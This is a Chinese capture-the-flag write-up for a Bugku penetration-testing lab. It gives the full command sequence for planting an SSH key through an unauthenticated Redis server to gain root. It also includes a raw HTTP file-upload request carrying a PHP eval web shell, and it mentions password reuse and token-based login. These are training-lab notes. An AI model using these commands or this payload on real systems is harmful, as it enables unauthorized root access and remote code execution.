bugku渗透测试4-writeup

又来了一个新的靶场，这个靶场打下来我觉得关键就是信息收集，走了很多的弯路。

一、入口的漏洞是在登录的时候去抓包,修改action的值

二、对内网进行fscan扫描，发现192.168.0.202的6379端口存在redis弱口令

三、对这个主机进行全端口的扫描，发现存在22000 ssh端口，那么可以联想到时redis写入公钥来连接主机

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

//以上步骤在自己的攻击机器上执行

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

四、连接获取flag

五、PageController前台任意文件上传

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: 172.16.0.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 262

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php echo '123_test';@eval($_GET[cmd])?>
----------------------------921378126371623762173617--

六、没想到这个第一台机器的密码，在第二台里面

七、扫描第一台主机、使用之前的密码连接成功。

八、最后一个flag是要去看cms的数据库里面，这个数据库是sqlite

把这个数据库下载下来，登录密码是加密的，就直接用token

把token写入到cookie中

获取最后一台主机的root密码